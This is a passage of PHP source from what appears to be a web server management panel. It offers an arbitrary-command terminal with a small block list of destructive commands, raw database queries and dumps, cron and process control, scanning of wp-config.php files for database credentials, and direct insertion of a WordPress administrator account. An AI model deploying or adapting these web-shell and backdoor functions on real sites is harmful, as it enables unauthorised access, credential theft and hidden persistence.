elseif (!empty($_SESSION['cern_integrity'][$base])) $store = $_SESSION['cern_integrity'][$base];
if (!$store || empty($store['files'])) throw new Exception('No baseline — run integrity_save first');
$baseline = $store['files'];
$current = [];
foreach (cern_files_walk($base, $base) as $rel => $info) {
$current[$rel] = hash_file('sha256', $info['path']);
}
$added = array_values(array_diff(array_keys($current), array_keys($baseline)));
$removed = array_values(array_diff(array_keys($baseline), array_keys($current)));
$changed = [];
foreach (array_intersect(array_keys($baseline), array_keys($current)) as $rel) {
if ($baseline[$rel] !== $current[$rel]) $changed[] = $rel;
}
return ['added' => $added, 'removed' => $removed, 'changed' => $changed, 'baseline_saved' => $store['saved'] ?? '', 'ok' => empty($added) && empty($removed) && empty($changed)];
}
function cern_files_archive_list($d) {
if (!class_exists('ZipArchive')) throw new Exception('ZipArchive not available');
$j = cern_jail();
$path = $j->resolve($d['path'] ?? '');
if (!is_file($path)) throw new Exception('enoent');
$z = new ZipArchive();
if ($z->open($path) !== true) throw new Exception('Cannot open archive');
$items = [];
for ($i = 0; $i < $z->numFiles; $i++) {
$st = $z->statIndex($i);
if ($st) $items[] = ['name' => $st['name'], 'size' => $st['size'], 'compressed' => $st['comp_size'] ?? 0];
}
$z->close();
return ['path' => $path, 'count' => count($items), 'items' => $items];
}
// ─── Dashboard & Health ──────────────────────────────────────────────────────
function cern_dashboard($d) {
$i = [];
$i['hostname'] = gethostname() ?: trim(cern_exec(cern_is_win() ? 'hostname' : 'hostname -f 2>/dev/null || hostname'));
$i['os'] = PHP_OS . ' ' . php_uname('r');
$i['php'] = PHP_VERSION;
$i['sapi'] = php_sapi_name();
$i['server'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown';
$i['ip'] = $_SERVER['SERVER_ADDR'] ?? trim(cern_exec('hostname -I 2>/dev/null'));
$i['user'] = get_current_user() ?: trim(cern_exec('whoami')) ?: '?';
$i['shell'] = cern_can_exec();
$i['version'] = CERN_VERSION;
if (cern_is_win()) {
$i['uptime'] = 'N/A';
$i['cpu_load'] = [0, 0, 0];
$i['ram'] = ['total' => 0, 'used' => 0, 'free' => 0, 'percent' => 0];
} else {
$i['uptime'] = trim(cern_exec('uptime -p 2>/dev/null || uptime'));
$l = sys_getloadavg();
$i['cpu_load'] = $l ?: [0, 0, 0];
$mem = cern_exec('free -b 2>/dev/null');
if (preg_match('/Mem:\s+(\d+)\s+(\d+)\s+(\d+)/', $mem, $m)) {
$i['ram'] = ['total' => (int)$m[1], 'used' => (int)$m[2], 'free' => (int)$m[3], 'percent' => round($m[2] / $m[1] * 100, 1)];
} else {
$i['ram'] = ['total' => 0, 'used' => 0, 'free' => 0, 'percent' => 0];
}
}
$root = cern_jail()->default_path();
$dt = @disk_total_space($root) ?: 0;
$df = @disk_free_space($root) ?: 0;
$i['disk'] = ['total' => $dt, 'free' => $df, 'used' => $dt - $df, 'percent' => $dt ? round((1 - $df / $dt) * 100, 1) : 0, 'path' => $root];
$i['cpu_cores'] = max(1, (int)trim(cern_is_win() ? cern_exec('echo %NUMBER_OF_PROCESSORS%') : cern_exec('nproc 2>/dev/null || echo 1')));
$i['capabilities'] = cern_probe();
return $i;
}
function cern_health($d) {
return ['ok' => 1, 'probe' => cern_probe(), 'roots_count' => count(cern_jail()->get_roots())];
}
// ─── Terminal ──────────────────────────────────────────────────────────────
function cern_terminal($d) {
if (!cern_can_exec()) throw new Exception('Shell disabled: ' . ini_get('disable_functions'));
$cmd = $d['cmd'] ?? '';
$cwd = $d['cwd'] ?? cern_jail()->default_path();
$j = cern_jail();
if (!$j->in_jail($cwd)) $cwd = $j->default_path();
if (!$cmd) throw new Exception('Empty command');
$blocked = ['rm -rf /', 'mkfs', ':(){', 'dd if='];
foreach ($blocked as $b) {
if (stripos($cmd, $b) !== false) throw new Exception('Command blocked');
}
$fc = cern_is_win()
? 'cd /d ' . escapeshellarg($cwd) . ' && ' . $cmd
: 'cd ' . escapeshellarg($cwd) . ' && ' . $cmd;
$out = cern_exec($fc);
$nc = $cwd;
if (preg_match('/^\s*cd\s+(.+)$/i', trim($cmd), $m)) {
$tgt = trim($m[1], '"\'');
if ($tgt[0] !== '/' && !preg_match('/^[A-Za-z]:/', $tgt)) $tgt = rtrim($cwd, '/\\') . cern_sep() . $tgt;
$rv = @realpath($tgt);
if ($rv && is_dir($rv) && $j->in_jail($rv)) $nc = $rv;
}
return ['output' => $out ?: '(no output)', 'cwd' => $nc];
}
// ─── Database ──────────────────────────────────────────────────────────────
function cern_db_connect($d) {
$dr = $d['driver'] ?? 'mysql';
$h = $d['db_host'] ?? '127.0.0.1';
$po = $d['db_port'] ?? ($dr === 'pgsql' ? '5432' : '3306');
$u = $d['db_user'] ?? 'root';
$pw = $d['db_pass'] ?? '';
$n = $d['db_name'] ?? '';
if (!in_array($dr, PDO::getAvailableDrivers(), true)) throw new Exception('PDO driver unavailable: ' . $dr);
if ($dr === 'sqlite') return new PDO('sqlite:' . $n);
$dsn = $dr . ':host=' . $h . ';port=' . $po;
if ($n) $dsn .= ';dbname=' . $n;
if ($dr === 'mysql') $dsn .= ';charset=utf8mb4';
return new PDO($dsn, $u, $pw, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_TIMEOUT => 5]);
}
function cern_db_test($d) {
$pdo = cern_db_connect($d);
return ['ok' => 1, 'server' => $pdo->getAttribute(PDO::ATTR_SERVER_VERSION)];
}
function cern_db_databases($d) {
$pdo = cern_db_connect($d);
$dr = $d['driver'] ?? 'mysql';
if ($dr === 'pgsql') return $pdo->query("SELECT datname as name FROM pg_database WHERE datistemplate=false ORDER BY datname")->fetchAll();
if ($dr === 'sqlite') return [['name' => $d['db_name'] ?? 'main']];
$r = $pdo->query('SHOW DATABASES')->fetchAll(PDO::FETCH_NUM);
return array_map(function ($x) { return ['name' => $x[0]]; }, $r);
}
function cern_db_tables($d) {
$pdo = cern_db_connect($d);
$dr = $d['driver'] ?? 'mysql';
if ($dr === 'pgsql') return $pdo->query("SELECT tablename as name FROM pg_tables WHERE schemaname='public' ORDER BY tablename")->fetchAll();
if ($dr === 'sqlite') return $pdo->query("SELECT name FROM sqlite_master WHERE type='table' ORDER BY name")->fetchAll();
$r = $pdo->query('SHOW TABLES')->fetchAll(PDO::FETCH_NUM);
return array_map(function ($x) { return ['name' => $x[0]]; }, $r);
}
function cern_db_query($d) {
$pdo = cern_db_connect($d);
$sql = $d['sql'] ?? '';
if (!$sql) throw new Exception('SQL empty');
$stmt = $pdo->query($sql);
$up = strtoupper(substr(trim($sql), 0, 6));
if (in_array($up, ['SELECT', 'SHOW D', 'SHOW T', 'DESCRI', 'EXPLAI', 'PRAGMA'], true)) {
$rows = $stmt->fetchAll();
return ['columns' => $rows ? array_keys($rows[0]) : [], 'rows' => array_slice($rows, 0, 1000), 'count' => count($rows)];
}
return ['affected' => $stmt->rowCount()];
}
function cern_db_describe($d) {
$pdo = cern_db_connect($d);
$t = $d['table'] ?? '';
$dr = $d['driver'] ?? 'mysql';
if (!$t) throw new Exception('Table required');
if ($dr === 'pgsql') $sql = "SELECT column_name,data_type,is_nullable,column_default FROM information_schema.columns WHERE table_name=" . $pdo->quote($t);
elseif ($dr === 'sqlite') $sql = "PRAGMA table_info(" . preg_replace('/[^a-zA-Z0-9_]/', '', $t) . ")";
else $sql = 'DESCRIBE `' . str_replace('`', '', $t) . '`';
return $pdo->query($sql)->fetchAll();
}
function cern_db_export($d) {
$n = $d['db_name'] ?? '';
if (!$n) throw new Exception('DB name required');
$tmpdir = sys_get_temp_dir() . cern_sep() . 'cern_db_' . time();
@mkdir($tmpdir, 0755, true);
$f = $tmpdir . cern_sep() . $n . '_' . date('Ymd_His') . '.sql';
$dr = $d['driver'] ?? 'mysql';
if ($dr === 'mysql' && cern_can_exec()) {
$h = $d['db_host'] ?? '127.0.0.1';
$u = $d['db_user'] ?? 'root';
$pw = $d['db_pass'] ?? '';
$pc = $pw ? ' -p' . escapeshellarg($pw) : '';
cern_exec('mysqldump -h ' . escapeshellarg($h) . ' -u ' . escapeshellarg($u) . $pc . ' ' . escapeshellarg($n) . ' > ' . escapeshellarg($f) . ' 2>&1');
if (is_file($f) && filesize($f) > 10) return ['ok' => 1, 'name' => basename($f), 'path' => $f, 'size' => filesize($f), 'method' => 'mysqldump'];
}
$pdo = cern_db_connect(array_merge($d, ['db_name' => $n]));
$out = "-- Certool PHP dump\n-- DB: $n\n\n";
if ($dr === 'sqlite') {
$tables = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'")->fetchAll(PDO::FETCH_COLUMN);
} elseif ($dr === 'pgsql') {
$tables = $pdo->query("SELECT tablename FROM pg_tables WHERE schemaname='public'")->fetchAll(PDO::FETCH_COLUMN);
} else {
$tables = $pdo->query('SHOW TABLES')->fetchAll(PDO::FETCH_COLUMN);
}
foreach ($tables as $t) {
$out .= "\n-- Table: $t\n";
$rows = $pdo->query("SELECT * FROM " . ($dr === 'mysql' ? "`$t`" : "\"$t\""))->fetchAll(PDO::FETCH_ASSOC);
foreach ($rows as $row) {
$cols = array_keys($row);
$vals = array_map(function ($v) use ($pdo) { return $v === null ? 'NULL' : $pdo->quote($v); }, array_values($row));
$out .= 'INSERT INTO ' . $t . ' (' . implode(',', $cols) . ') VALUES (' . implode(',', $vals) . ");\n";
}
}
file_put_contents($f, $out);
return ['ok' => 1, 'name' => basename($f), 'path' => $f, 'size' => filesize($f), 'method' => 'php'];
}
// ─── Logs ──────────────────────────────────────────────────────────────────
function cern_log_read($d) {
$j = cern_jail();
$p = $d['path'] ?? '';
$n = (int)($d['lines'] ?? 100);
if (!$p) throw new Exception('Log path required');
try { $p = $j->resolve($p); } catch (Exception $e) { /* allow absolute logs */ }
if (!is_file($p)) throw new Exception('enoent: ' . $p);
if (!is_readable($p)) throw new Exception('eacces: ' . $p);
$content = '';
if (cern_can_exec() && !cern_is_win()) {
$content = cern_exec('tail -n ' . $n . ' ' . escapeshellarg($p) . ' 2>/dev/null');
}
if (!$content) {
$lines = [];
$f = @fopen($p, 'r');
if (!$f) throw new Exception('Cannot open log');
while (($line = fgets($f)) !== false) $lines[] = $line;
fclose($f);
$content = implode('', array_slice($lines, -$n));
}
return ['content' => $content, 'size' => filesize($p), 'path' => $p];
}
function cern_log_find($d) {
$home = cern_home();
$common = ['/var/log/apache2/error.log', '/var/log/httpd/error_log', '/var/log/nginx/error.log', '/var/log/syslog', '/var/log/messages', '/var/log/auth.log', '/var/log/php-fpm/error.log'];
$shared = [$home . '/logs/error.log', $home . '/public_html/error_log', $home . '/error_log'];
$all = array_unique(array_merge($shared, $common));
if (cern_can_exec()) {
$found = cern_exec('find ' . escapeshellarg($home) . ' -maxdepth 4 -name "*.log" -o -name "error_log" 2>/dev/null | head -30');
$all = array_merge($all, array_filter(array_map('trim', explode("\n", trim($found)))));
}
$pl = ini_get('error_log');
if ($pl) $all[] = $pl;
$found = [];
foreach (array_unique($all) as $f) {
if ($f && is_file($f) && is_readable($f)) {
$found[] = ['path' => $f, 'size' => filesize($f), 'mod' => date('Y-m-d H:i:s', filemtime($f))];
}
}
usort($found, function ($a, $b) { return $b['size'] - $a['size']; });
return $found;
}
// ─── Backup ────────────────────────────────────────────────────────────────
function cern_backup_dir() {
$d = sys_get_temp_dir() . cern_sep() . 'certool_backups';
if (!is_dir($d)) @mkdir($d, 0755, true);
return $d;
}
function cern_backup_create($d) {
$j = cern_jail();
$p = $j->resolve($d['path'] ?? $j->default_path());
if (!is_dir($p) && !is_file($p)) throw new Exception('enoent');
$bdir = cern_backup_dir();
$name = 'backup_' . basename($p) . '_' . date('Ymd_His') . '.zip';
$f = $bdir . cern_sep() . $name;
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($f, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) throw new Exception('Zip failed');
if (is_dir($p)) cern_zip_dir($zip, $p, basename($p));
else $zip->addFile($p, basename($p));
$zip->close();
return ['ok' => 1, 'name' => $name, 'path' => $f, 'size' => filesize($f)];
}
if (cern_can_exec() && !cern_is_win()) {
$f = $bdir . cern_sep() . 'backup_' . basename($p) . '_' . date('Ymd_His') . '.tar.gz';
cern_exec('tar -czf ' . escapeshellarg($f) . ' -C ' . escapeshellarg(dirname($p)) . ' ' . escapeshellarg(basename($p)) . ' 2>&1');
if (is_file($f)) return ['ok' => 1, 'name' => basename($f), 'path' => $f, 'size' => filesize($f)];
}
throw new Exception('No zip or tar available');
}
function cern_backup_list($d) {
$bdir = cern_backup_dir();
if (!is_dir($bdir)) return [];
$list = [];
foreach (@scandir($bdir) ?: [] as $i) {
if ($i === '.' || $i === '..') continue;
$fp = $bdir . cern_sep() . $i;
if (is_file($fp)) $list[] = ['name' => $i, 'path' => $fp, 'size' => filesize($fp), 'mod' => date('Y-m-d H:i:s', filemtime($fp))];
}
usort($list, function ($a, $b) { return strcmp($b['mod'], $a['mod']); });
return $list;
}
function cern_phpinfo($d) {
return [
'version' => PHP_VERSION, 'sapi' => php_sapi_name(), 'os' => PHP_OS,
'memory_limit' => ini_get('memory_limit'), 'max_exec' => ini_get('max_execution_time'),
'upload_max' => ini_get('upload_max_filesize'), 'ini' => php_ini_loaded_file(),
'tmp' => sys_get_temp_dir(), 'open_basedir' => ini_get('open_basedir'),
'disabled' => ini_get('disable_functions'), 'extensions' => get_loaded_extensions(),
];
}
// ─── Network ───────────────────────────────────────────────────────────────
function cern_net_dns($d) {
$h = $d['host'] ?? '';
if (!$h) throw new Exception('Host required');
$ip = gethostbyname($h);
$records = [];
if (function_exists('dns_get_record')) {
foreach (['A' => DNS_A, 'AAAA' => DNS_AAAA, 'MX' => DNS_MX, 'NS' => DNS_NS, 'TXT' => DNS_TXT] as $n => $t) {
$r = @dns_get_record($h, $t);
if ($r) $records[$n] = $r;
}
}
return ['host' => $h, 'ip' => $ip, 'records' => $records];
}
function cern_net_port($d) {
$h = $d['host'] ?? '127.0.0.1';
$p = (int)($d['port'] ?? 80);
$c = @fsockopen($h, $p, $en, $es, 5);
if ($c) { fclose($c); return ['status' => 'open', 'host' => $h, 'port' => $p]; }
return ['status' => 'closed', 'host' => $h, 'port' => $p, 'error' => $es];
}
function cern_net_curl($d) {
$url = $d['url'] ?? '';
if (!$url) throw new Exception('URL required');
if (!function_exists('curl_init')) throw new Exception('cURL not available');
$ch = curl_init($url);
curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => 0]);
$mt = strtoupper($d['method'] ?? 'GET');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $mt);
if (!empty($d['body'])) curl_setopt($ch, CURLOPT_POSTFIELDS, $d['body']);
$resp = curl_exec($ch);
$info = curl_getinfo($ch);
$err = curl_error($ch);
curl_close($ch);
if ($err) throw new Exception('cURL: ' . $err);
$hs = $info['header_size'];
return ['status' => $info['http_code'], 'headers' => substr($resp, 0, $hs), 'body' => substr(substr($resp, $hs), 0, 50000), 'time_ms' => round($info['total_time'] * 1000)];
}
function cern_ssl_check($d) {
$h = $d['host'] ?? '';
if (!$h) throw new Exception('Host required');
if (!extension_loaded('openssl')) throw new Exception('OpenSSL not available');
$ctx = stream_context_create(['ssl' => ['capture_peer_cert' => true, 'verify_peer' => false]]);
$c = @stream_socket_client('ssl://' . $h . ':443', $en, $es, 10, STREAM_CLIENT_CONNECT, $ctx);
if (!$c) throw new Exception('SSL connect failed: ' . $es);
$pr = stream_context_get_params($c);
$cert = openssl_x509_parse($pr['options']['ssl']['peer_certificate']);
fclose($c);
if (!$cert) throw new Exception('Cannot parse certificate');
return [
'subject' => $cert['subject'] ?? [], 'issuer' => $cert['issuer']['O'] ?? json_encode($cert['issuer'] ?? []),
'valid_from' => date('Y-m-d H:i:s', $cert['validFrom_time_t']),
'valid_to' => date('Y-m-d H:i:s', $cert['validTo_time_t']),
'days_left' => max(0, (int)(($cert['validTo_time_t'] - time()) / 86400)),
];
}
// ─── Processes & Services & Cron ───────────────────────────────────────────
function cern_proc_list($d) {
if (!cern_can_exec()) throw new Exception('Shell required for process list');
if (cern_is_win()) {
$out = cern_exec('tasklist /FO CSV /NH');
$r = [];
foreach (explode("\n", trim($out)) as $l) {
$p = str_getcsv($l);
if (count($p) >= 5) $r[] = ['name' => $p[0], 'pid' => $p[1], 'mem' => $p[4]];
}
return $r;
}
$out = cern_exec('ps aux --sort=-%cpu 2>/dev/null | head -60');
$lines = explode("\n", trim($out));
array_shift($lines);
$r = [];
foreach ($lines as $l) {
$p = preg_split('/\s+/', $l, 11);
if (count($p) >= 11) $r[] = ['user' => $p[0], 'pid' => $p[1], 'cpu' => $p[2], 'mem' => $p[3], 'cmd' => $p[10]];
}
return $r;
}
function cern_proc_kill($d) {
if (!cern_can_exec()) throw new Exception('Shell required');
$pid = (int)($d['pid'] ?? 0);
if (!$pid) throw new Exception('PID required');
$out = cern_is_win() ? cern_exec('taskkill /PID ' . $pid . ' /F') : cern_exec('kill -9 ' . $pid);
return ['ok' => 1, 'output' => $out];
}
function cern_services_list($d) {
if (!cern_can_exec()) throw new Exception('Shell required for services');
if (cern_is_win()) return ['services' => [], 'note' => 'Use Services MMC on Windows'];
$out = cern_exec('systemctl list-units --type=service --all --no-pager --no-legend 2>/dev/null');
$svcs = [];
if ($out && strpos($out, 'not found') === false) {
foreach (explode("\n", trim($out)) as $l) {
if (preg_match('/^\s*(\S+\.service)\s+(\S+)\s+(\S+)\s+(\S+)/', $l, $m)) {
$svcs[] = ['name' => str_replace('.service', '', $m[1]), 'load' => $m[2], 'active' => $m[3], 'status' => $m[4]];
}
}
}
return ['services' => $svcs];
}
function cern_cron_list($d) {
if (!cern_can_exec()) throw new Exception('Shell required for cron');
if (cern_is_win()) return ['jobs' => [], 'note' => 'Use Task Scheduler on Windows'];
$out = cern_exec('crontab -l 2>/dev/null');
$jobs = [];
foreach (explode("\n", $out) as $l) {
$l = trim($l);
if ($l && $l[0] !== '#') $jobs[] = $l;
}
return ['crontab' => $out, 'jobs' => $jobs];
}
function cern_cron_add($d) {
if (!cern_can_exec()) throw new Exception('Shell required');
$j = $d['job'] ?? '';
if (!$j) throw new Exception('Cron line required');
$cur = trim(cern_exec('crontab -l 2>/dev/null'));
$new = $cur ? $cur . "\n" . $j : $j;
$tmp = tempnam(sys_get_temp_dir(), 'cron');
file_put_contents($tmp, $new . "\n");
$out = cern_exec('crontab ' . escapeshellarg($tmp));
@unlink($tmp);
return ['ok' => 1, 'output' => $out];
}
function cern_cron_delete($d) {
if (!cern_can_exec()) throw new Exception('Shell required');
$idx = (int)($d['index'] ?? -1);
$cur = trim(cern_exec('crontab -l 2>/dev/null'));
$lines = explode("\n", $cur);
$jobs = [];
$ji = 0;
$out_lines = [];
foreach ($lines as $l) {
$lt = trim($l);
if ($lt && $lt[0] !== '#') {
if ($ji !== $idx) $out_lines[] = $l;
$ji++;
} else $out_lines[] = $l;
}
$tmp = tempnam(sys_get_temp_dir(), 'cron');
file_put_contents($tmp, implode("\n", $out_lines) . "\n");
cern_exec('crontab ' . escapeshellarg($tmp));
@unlink($tmp);
return ['ok' => 1];
}
// ─── WordPress phpass (portable-phpass compatible) ───────────────────────────
function cern_wp_encode64($input, $count) {
$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$output = '';
$i = 0;
do {
$value = ord($input[$i++]);
$output .= $itoa64[$value & 0x3f];
if ($i < $count) {
$value |= ord($input[$i]) << 8;
}
$output .= $itoa64[($value >> 6) & 0x3f];
if ($i++ >= $count) break;
if ($i < $count) {
$value |= ord($input[$i]) << 16;
}
$output .= $itoa64[($value >> 12) & 0x3f];
if ($i++ >= $count) break;
$output .= $itoa64[($value >> 18) & 0x3f];
} while ($i < $count);
return $output;
}
function cern_wp_hash_password($password) {
if (strlen($password) > 4096) return '*';
$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$count_log2 = 8;
$random = function_exists('random_bytes') ? random_bytes(6) : pack('C*', mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
$setting = '$P$' . $itoa64[$count_log2];
for ($i = 0; $i < 8; $i++) {
$setting .= $itoa64[ord($random[$i % 6]) & 0x3f];
}
$count = 1 << $count_log2;
$hash = md5(substr($setting, 4, 8) . $password, true);
do {
$hash = md5($hash . $password, true);
} while (--$count);
return substr($setting, 0, 12) . cern_wp_encode64($hash, 16);
}
function cern_wp_read_config($wp) {
$cf = rtrim($wp, '/\\') . '/wp-config.php';
if (!is_file($cf)) throw new Exception('wp-config.php not found');
$c = file_get_contents($cf);
$v = [];
if (preg_match_all("/define\s*\(\s*['\"]([^'\"]+)['\"]\s*,\s*['\"]([^'\"]*)/", $c, $m, PREG_SET_ORDER)) {
foreach ($m as $x) $v[$x[1]] = $x[2];
}
if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)/', $c, $tp)) $v['table_prefix'] = $tp[1];
return $v;
}
function cern_wp_scan($d) {
$j = cern_jail();
$base = $d['path'] ?? '';
$home = cern_home();
$search = $base ? [$base] : [$home . '/public_html', $home . '/htdocs', $home . '/www', $home, cern_jail()->default_path()];
$installs = [];
foreach ($search as $sp) {
if (!@is_dir($sp)) continue;
if (cern_can_exec()) {
$out = cern_exec('find ' . escapeshellarg($sp) . ' -maxdepth 5 -name "wp-config.php" -type f 2>/dev/null');
foreach (array_filter(array_map('trim', explode("\n", trim($out)))) as $f) {
$installs[] = dirname($f);
}
} else {
$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($sp, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST);
$depth = 0;
foreach ($it as $fi) {
if ($fi->getFilename() === 'wp-config.php') $installs[] = $fi->getPath();
if (++$depth > 500) break;
}
}
}
$installs = array_unique($installs);
$r = [];
foreach ($installs as $wp) {
try {
$c = cern_wp_read_config($wp);
$r[] = ['path' => $wp, 'db_name' => $c['DB_NAME'] ?? '', 'db_host' => $c['DB_HOST'] ?? '', 'table_prefix' => $c['table_prefix'] ?? 'wp_'];
} catch (Throwable $e) {
$r[] = ['path' => $wp, 'error' => $e->getMessage()];
}
}
return $r;
}
function cern_wp_config($d) {
$wp = $d['path'] ?? '';
if (!$wp) throw new Exception('WP path required');
cern_jail()->resolve($wp);
$c = cern_wp_read_config($wp);
$cf = rtrim($wp, '/\\') . '/wp-config.php';
return ['config' => $c, 'path' => $cf];
}
function cern_wp_admin_create($d) {
$wp = $d['path'] ?? '';
$un = $d['username'] ?? 'cernadmin';
$pw = $d['password'] ?? '';
$em = $d['email'] ?? 'admin@localhost';
if (!$wp || !$pw) throw new Exception('Path and password required');
cern_jail()->resolve($wp);
$c = cern_wp_read_config($wp);
$pfx = $c['table_prefix'] ?? 'wp_';
if (!in_array('mysql', PDO::getAvailableDrivers(), true)) throw new Exception('PDO mysql required');
$pdo = new PDO('mysql:host=' . ($c['DB_HOST'] ?? 'localhost') . ';dbname=' . ($c['DB_NAME'] ?? '') . ';charset=utf8mb4', $c['DB_USER'] ?? '', $c['DB_PASSWORD'] ?? '');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->prepare("SELECT ID FROM {$pfx}users WHERE user_login=?");
$stmt->execute([$un]);
if ($stmt->fetch()) throw new Exception("User '$un' already exists");
$hash = cern_wp_hash_password($pw);
$pdo->prepare("INSERT INTO {$pfx}users(user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES(?,?,?,?,NOW(),0,?)")->execute([$un, $hash, $un, $em, $un]);
$uid = $pdo->lastInsertId();
$pdo->prepare("INSERT INTO {$pfx}usermeta(user_id,meta_key,meta_value) VALUES(?,?,?)")->execute([$uid, $pfx . 'capabilities', 'a:1:{s:13:"administrator";b:1;}']);
$pdo->prepare("INSERT INTO {$pfx}usermeta(user_id,meta_key,meta_value) VALUES(?,?,?)")->execute([$uid, $pfx . 'user_level', '10']);
return ['ok' => 1, 'user_id' => $uid, 'username' => $un];
}
function cern_wp_plugins($d) {
$wp = $d['path'] ?? '';
if (!$wp) throw new Exception('WP path required');
$dir = rtrim($wp, '/\\') . '/wp-content/plugins';
if (!is_dir($dir)) throw new Exception('plugins dir not found');
$plugins = [];
foreach (@scandir($dir) ?: [] as $i) {
if ($i === '.' || $i === '..') continue;
$full = $dir . '/' . $i;
if (!is_dir($full)) continue;
$info = ['slug' => $i, 'name' => $i, 'version' => '', 'active' => false];
$main = $full . '/' . $i . '.php';
if (is_file($main)) {
$ct = @file_get_contents($main, false, null, 0, 4096);
if (preg_match('/Plugin Name:\s*(.+)/i', $ct, $m)) $info['name'] = trim($m[1]);
if (preg_match('/Version:\s*(.+)/i', $ct, $m)) $info['version'] = trim($m[1]);
}
$plugins[] = $info;
}
return $plugins;
}
function cern_wp_themes($d) {
$wp = $d['path'] ?? '';
if (!$wp) throw new Exception('WP path required');
$dir = rtrim($wp, '/\\') . '/wp-content/themes';
if (!is_dir($dir)) throw new Exception('themes dir not found');
$themes = [];
foreach (@scandir($dir) ?: [] as $i) {
if ($i === '.' || $i === '..') continue;
$full = $dir . '/' . $i;
if (!is_dir($full)) continue;
$info = ['slug' => $i, 'name' => $i];
$css = $full . '/style.css';
if (is_file($css)) {
$ct = @file_get_contents($css, false, null, 0, 4096);
if (preg_match('/Theme Name:\s*(.+)/i', $ct, $m)) $info['name'] = trim($m[1]);
}
$themes[] = $info;
}
return $themes;
}
function cern_wp_security($d) {
$wp = $d['path'] ?? '';
if (!$wp) throw new Exception('WP path required');
$cf = rtrim($wp, '/\\') . '/wp-config.php';
$c = @file_get_contents($cf) ?: '';
return [
'debug' => preg_match('/WP_DEBUG.*true/i', $c) ? 'ON (risk)' : 'OFF',
'file_edit' => preg_match('/DISALLOW_FILE_EDIT.*true/i', $c) ? 'disabled (OK)' : 'enabled (risk)',
'readme' => is_file(rtrim($wp, '/\\') . '/readme.html') ? 'exists (remove)' : 'OK',
'xmlrpc' => is_file(rtrim($wp, '/\\') . '/xmlrpc.php') ? 'exists (risk)' : 'OK',
'config_perms' => cern_is_win() ? 'N/A' : substr(decoct(@fileperms($cf)), -4),
];
}
function cern_wp_pdo($wp) {
$c = cern_wp_read_config($wp);
$pdo = new PDO('mysql:host=' . ($c['DB_HOST'] ?? 'localhost') . ';dbname=' . ($c['DB_NAME'] ?? '') . ';charset=utf8mb4', $c['DB_USER'] ?? '', $c['DB_PASSWORD'] ?? '');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
return [$pdo, $c['table_prefix'] ?? 'wp_', $c];
}
function cern_wp_version($wp) {
$vf = rtrim($wp, '/\\') . '/wp-includes/version.php';
if (!is_file($vf)) throw new Exception('version.php not found');
$content = file_get_contents($vf);
if (preg_match("/\\\$wp_version\s*=\s*['\"]([^'\"]+)/", $content, $m)) return $m[1];
throw new Exception('Cannot parse WP version');
}
function cern_wp_repair($d) {
$wp = $d['path'] ?? '';
if (!$wp) throw new Exception('WP path required');
cern_jail()->resolve($wp);
$results = [];
$ht = rtrim($wp, '/\\') . '/.htaccess';
if (!is_file($ht)) {
$rules = "# BEGIN WordPress\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n# END WordPress\n";
if (@file_put_contents($ht, $rules)) $results['htaccess'] = 'created';
else $results['htaccess'] = 'failed (not writable)';
} else {
$results['htaccess'] = 'exists';
}
if (!empty($d['db_repair']) && in_array('mysql', PDO::getAvailableDrivers(), true)) {
try {
list($pdo, $pfx) = cern_wp_pdo($wp);
if (!empty($d['clear_transients'])) {
$pdo->exec("DELETE FROM {$pfx}options WHERE option_name LIKE '_transient_%' OR option_name LIKE '_site_transient_%'");
$results['transients'] = 'cleared';
}
$tables = $pdo->query('SHOW TABLES')->fetchAll(PDO::FETCH_COLUMN);
foreach ($tables as $t) {
$pdo->exec('REPAIR TABLE `' . str_replace('`', '', $t) . '`');
}
$results['tables'] = 'repaired (' . count($tables) . ')';
} catch (Throwable $e) {
$results['db_error'] = $e->getMessage();
}
}
return ['ok' => 1, 'results' => $results];
}
function cern_wp_replace_recursive($data, $old, $new) {
if (is_string($data)) return str_replace($old, $new, $data);
if (is_array($data)) {
foreach ($data as $k => $v) $data[$k] = cern_wp_replace_recursive($v, $old, $new);
return $data;
}
return $data;
}
function cern_wp_search_replace($d) {
$wp = $d['path'] ?? '';
$old = $d['old'] ?? '';
$new = $d['new'] ?? '';
$dry = !empty($d['dry_run']);
if (!$wp || $old === '') throw new Exception('path and old required');
cern_jail()->resolve($wp);
list($pdo, $pfx) = cern_wp_pdo($wp);
$changes = [];
$posts = $pdo->query("SELECT ID, post_content, post_title, guid FROM {$pfx}posts WHERE post_content LIKE " . $pdo->quote('%' . $old . '%') . " OR post_title LIKE " . $pdo->quote('%' . $old . '%') . " OR guid LIKE " . $pdo->quote('%' . $old . '%'))->fetchAll();
foreach ($posts as $row) {
$changes[] = ['table' => 'posts', 'id' => $row['ID'], 'fields' => ['content', 'title', 'guid']];
if (!$dry) {
$pdo->prepare("UPDATE {$pfx}posts SET post_content=REPLACE(post_content,?,?), post_title=REPLACE(post_title,?,?), guid=REPLACE(guid,?,?) WHERE ID=?")
